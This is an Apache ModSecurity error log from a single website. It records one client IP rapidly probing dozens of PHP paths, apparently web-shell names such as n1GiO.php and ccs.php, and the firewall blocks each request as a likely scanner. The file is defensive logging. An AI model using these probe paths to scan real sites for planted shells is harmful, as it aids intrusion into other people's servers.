[Sun Mar 29 02:18:05.873123 2026] [:error] [pid 39427:tid 39441] [client 20.197.233.108:22918] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roter.php"] [unique_id "acgbXVvLf0RDUqcYq-ZPhAAAAAk"]
[Sun Mar 29 02:18:06.493101 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:15305] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/size.php"] [unique_id "acgbXnVrXSgLxlxLi9A7YAAAAQw"]
[Sun Mar 29 02:18:07.123679 2026] [:error] [pid 39427:tid 39437] [client 20.197.233.108:22940] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/size.php"] [unique_id "acgbX1vLf0RDUqcYq-ZPhQAAAAU"]
[Sun Mar 29 02:18:07.740812 2026] [:error] [pid 60346:tid 60368] [client 20.197.233.108:22921] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/size.php"] [unique_id "acgbX3VrXSgLxlxLi9A7aQAAARE"]
[Sun Mar 29 02:18:08.360305 2026] [:error] [pid 60346:tid 60363] [client 20.197.233.108:22927] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/size.php"] [unique_id "acgbYHVrXSgLxlxLi9A7agAAAQw"]
[Sun Mar 29 02:18:08.978449 2026] [:error] [pid 60346:tid 60351] [client 20.197.233.108:23075] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "acgbYHVrXSgLxlxLi9A7bgAAAQA"]
[Sun Mar 29 02:18:09.598540 2026] [:error] [pid 60346:tid 60358] [client 20.197.233.108:23261] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "acgbYXVrXSgLxlxLi9A7bwAAAQc"]
[Sun Mar 29 02:18:10.214462 2026] [:error] [pid 39429:tid 39500] [client 20.197.233.108:15301] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "acgbYk8pSj6sqgZaItnl6wAAAI4"]
[Sun Mar 29 02:18:10.832247 2026] [:error] [pid 39428:tid 39479] [client 20.197.233.108:22974] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/save.php"] [unique_id "acgbYqXMrozFMIaP8nIDIAAAAFQ"]
[Sun Mar 29 02:18:11.452707 2026] [:error] [pid 60346:tid 60366] [client 20.197.233.108:23277] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acgbY3VrXSgLxlxLi9A7cgAAAQ8"]
[Sun Mar 29 02:18:12.073943 2026] [:error] [pid 39514:tid 39534] [client 20.197.233.108:15320] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acgbZCkUyvlQod6qQu2kfgAAAMk"]
[Sun Mar 29 02:18:12.692019 2026] [:error] [pid 39514:tid 39549] [client 20.197.233.108:15297] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acgbZCkUyvlQod6qQu2kgQAAANc"]
[Sun Mar 29 02:18:13.306489 2026] [:error] [pid 39514:tid 39543] [client 20.197.233.108:23285] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acgbZSkUyvlQod6qQu2kgwAAANI"]
[Sun Mar 29 02:18:13.925895 2026] [:error] [pid 39514:tid 39536] [client 20.197.233.108:15348] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n1GiO.php"] [unique_id "acgbZSkUyvlQod6qQu2khwAAAMs"]
[Sun Mar 29 02:18:14.560736 2026] [:error] [pid 60346:tid 60371] [client 20.197.233.108:22946] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n1GiO.php"] [unique_id "acgbZnVrXSgLxlxLi9A7dgAAARQ"]
[Sun Mar 29 02:18:15.195564 2026] [:error] [pid 60346:tid 60356] [client 20.197.233.108:15318] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n1GiO.php"] [unique_id "acgbZ3VrXSgLxlxLi9A7fAAAAQU"]
[Sun Mar 29 02:18:15.813474 2026] [:error] [pid 60346:tid 60358] [client 20.197.233.108:22942] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/n1GiO.php"] [unique_id "acgbZ3VrXSgLxlxLi9A7gAAAAQc"]
[Sun Mar 29 02:18:16.431503 2026] [:error] [pid 60346:tid 60359] [client 20.197.233.108:22935] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pLdK1.php"] [unique_id "acgbaHVrXSgLxlxLi9A7gwAAAQg"]
[Sun Mar 29 02:18:17.047101 2026] [:error] [pid 60346:tid 60362] [client 20.197.233.108:23094] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pLdK1.php"] [unique_id "acgbaXVrXSgLxlxLi9A7hgAAAQs"]
[Sun Mar 29 02:18:17.668021 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:22954] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pLdK1.php"] [unique_id "acgbaXVrXSgLxlxLi9A7iQAAAQI"]
[Sun Mar 29 02:18:18.306735 2026] [:error] [pid 39427:tid 39450] [client 20.197.233.108:15330] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pLdK1.php"] [unique_id "acgbalvLf0RDUqcYq-ZPjgAAABI"]
[Sun Mar 29 02:18:18.924943 2026] [:error] [pid 39514:tid 39529] [client 20.197.233.108:22939] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/llb1J.php"] [unique_id "acgbaikUyvlQod6qQu2kiwAAAMQ"]
[Sun Mar 29 02:18:19.547166 2026] [:error] [pid 39427:tid 39436] [client 20.197.233.108:23068] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/llb1J.php"] [unique_id "acgba1vLf0RDUqcYq-ZPjwAAAAQ"]
[Sun Mar 29 02:18:20.167138 2026] [:error] [pid 39428:tid 39464] [client 20.197.233.108:22959] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/llb1J.php"] [unique_id "acgbbKXMrozFMIaP8nIDIgAAAEU"]
[Sun Mar 29 02:18:20.811460 2026] [:error] [pid 39428:tid 39483] [client 20.197.233.108:22923] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/llb1J.php"] [unique_id "acgbbKXMrozFMIaP8nIDIwAAAFg"]
[Sun Mar 29 02:18:21.436294 2026] [:error] [pid 60346:tid 60356] [client 20.197.233.108:15331] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jeZDu.php"] [unique_id "acgbbXVrXSgLxlxLi9A7kQAAAQU"]
[Sun Mar 29 02:18:22.076496 2026] [:error] [pid 60346:tid 60351] [client 20.197.233.108:22933] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jeZDu.php"] [unique_id "acgbbnVrXSgLxlxLi9A7kwAAAQA"]
[Sun Mar 29 02:18:22.714544 2026] [:error] [pid 39429:tid 39498] [client 20.197.233.108:23251] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jeZDu.php"] [unique_id "acgbbk8pSj6sqgZaItnl8gAAAIw"]
[Sun Mar 29 02:18:23.331910 2026] [:error] [pid 39427:tid 39443] [client 20.197.233.108:22928] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jeZDu.php"] [unique_id "acgbb1vLf0RDUqcYq-ZPmAAAAAs"]
[Sun Mar 29 02:18:23.951594 2026] [:error] [pid 60346:tid 60355] [client 20.197.233.108:23289] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "acgbb3VrXSgLxlxLi9A7lwAAAQQ"]
[Sun Mar 29 02:18:24.569773 2026] [:error] [pid 39514:tid 39539] [client 20.197.233.108:15324] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "acgbcCkUyvlQod6qQu2kkQAAAM4"]
[Sun Mar 29 02:18:25.200546 2026] [:error] [pid 39427:tid 39432] [client 20.197.233.108:23063] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "acgbcVvLf0RDUqcYq-ZPmwAAAAA"]
[Sun Mar 29 02:18:25.817196 2026] [:error] [pid 39427:tid 39441] [client 20.197.233.108:23066] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gec.php"] [unique_id "acgbcVvLf0RDUqcYq-ZPnAAAAAk"]
[Sun Mar 29 02:18:26.445181 2026] [:error] [pid 39514:tid 39549] [client 20.197.233.108:15357] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfuKK.php"] [unique_id "acgbcikUyvlQod6qQu2kmgAAANc"]
[Sun Mar 29 02:18:27.069899 2026] [:error] [pid 39514:tid 39530] [client 20.197.233.108:23091] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfuKK.php"] [unique_id "acgbcykUyvlQod6qQu2knAAAAMU"]
[Sun Mar 29 02:18:27.692117 2026] [:error] [pid 39514:tid 39524] [client 20.197.233.108:23405] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfuKK.php"] [unique_id "acgbcykUyvlQod6qQu2knwAAAMA"]
[Sun Mar 29 02:18:28.317224 2026] [:error] [pid 39427:tid 39437] [client 20.197.233.108:23245] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bfuKK.php"] [unique_id "acgbdFvLf0RDUqcYq-ZPnQAAAAU"]
[Sun Mar 29 02:18:28.932814 2026] [:error] [pid 39514:tid 39532] [client 20.197.233.108:23392] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/OpVq6.php"] [unique_id "acgbdCkUyvlQod6qQu2kpAAAAMc"]
[Sun Mar 29 02:18:29.555113 2026] [:error] [pid 39514:tid 39538] [client 20.197.233.108:23367] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/OpVq6.php"] [unique_id "acgbdSkUyvlQod6qQu2kqAAAAM0"]
[Sun Mar 29 02:18:30.185019 2026] [:error] [pid 60346:tid 60372] [client 20.197.233.108:22945] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/OpVq6.php"] [unique_id "acgbdnVrXSgLxlxLi9A7ngAAARU"]
[Sun Mar 29 02:18:30.802429 2026] [:error] [pid 39514:tid 39527] [client 20.197.233.108:22975] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/OpVq6.php"] [unique_id "acgbdikUyvlQod6qQu2kqgAAAMI"]
[Sun Mar 29 02:18:31.431301 2026] [:error] [pid 39514:tid 39541] [client 20.197.233.108:23280] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Q73BO.php"] [unique_id "acgbdykUyvlQod6qQu2krQAAANA"]
[Sun Mar 29 02:18:32.052996 2026] [:error] [pid 39428:tid 39470] [client 20.197.233.108:23076] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Q73BO.php"] [unique_id "acgbeKXMrozFMIaP8nIDKwAAAEs"]
[Sun Mar 29 02:18:32.686871 2026] [:error] [pid 39428:tid 39464] [client 20.197.233.108:23043] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Q73BO.php"] [unique_id "acgbeKXMrozFMIaP8nIDLQAAAEU"]
[Sun Mar 29 02:18:33.306994 2026] [:error] [pid 39514:tid 39536] [client 20.197.233.108:15352] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Q73BO.php"] [unique_id "acgbeSkUyvlQod6qQu2krgAAAMs"]
[Sun Mar 29 02:18:33.925246 2026] [:error] [pid 39514:tid 39549] [client 20.197.233.108:23092] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rmpoa.php"] [unique_id "acgbeSkUyvlQod6qQu2ksQAAANc"]
[Sun Mar 29 02:18:34.545856 2026] [:error] [pid 39427:tid 39447] [client 20.197.233.108:23067] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rmpoa.php"] [unique_id "acgbelvLf0RDUqcYq-ZPnwAAAA8"]
[Sun Mar 29 02:18:35.163531 2026] [:error] [pid 39514:tid 39544] [client 20.197.233.108:23103] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rmpoa.php"] [unique_id "acgbeykUyvlQod6qQu2ktQAAANM"]
[Sun Mar 29 02:18:35.779354 2026] [:error] [pid 39429:tid 39500] [client 20.197.233.108:23380] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rmpoa.php"] [unique_id "acgbe08pSj6sqgZaItnl9gAAAI4"]
[Sun Mar 29 02:18:36.398917 2026] [:error] [pid 39514:tid 39535] [client 20.197.233.108:15307] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wgift1.php"] [unique_id "acgbfCkUyvlQod6qQu2kuwAAAMo"]
[Sun Mar 29 02:18:52.085036 2026] [:error] [pid 39428:tid 39464] [client 20.197.233.108:15302] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "acgbjKXMrozFMIaP8nIDRwAAAEU"]
[Sun Mar 29 02:18:52.709580 2026] [:error] [pid 60346:tid 60360] [client 20.197.233.108:22950] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "acgbjHVrXSgLxlxLi9A7zgAAAQk"]
[Sun Mar 29 02:18:53.329567 2026] [:error] [pid 39429:tid 39506] [client 20.197.233.108:23244] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "acgbjU8pSj6sqgZaItnmBAAAAJQ"]
[Sun Mar 29 02:18:53.949407 2026] [:error] [pid 60346:tid 60361] [client 20.197.233.108:15319] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccs.php"] [unique_id "acgbjXVrXSgLxlxLi9A70gAAAQo"]
[Sun Mar 29 02:18:54.577941 2026] [:error] [pid 39427:tid 39453] [client 20.197.233.108:23298] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "acgbjlvLf0RDUqcYq-ZPqwAAABU"]
[Sun Mar 29 02:18:55.197392 2026] [:error] [pid 60346:tid 60374] [client 20.197.233.108:22973] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccu.php"] [unique_id "acgbj3VrXSgLxlxLi9A71gAAARc"]
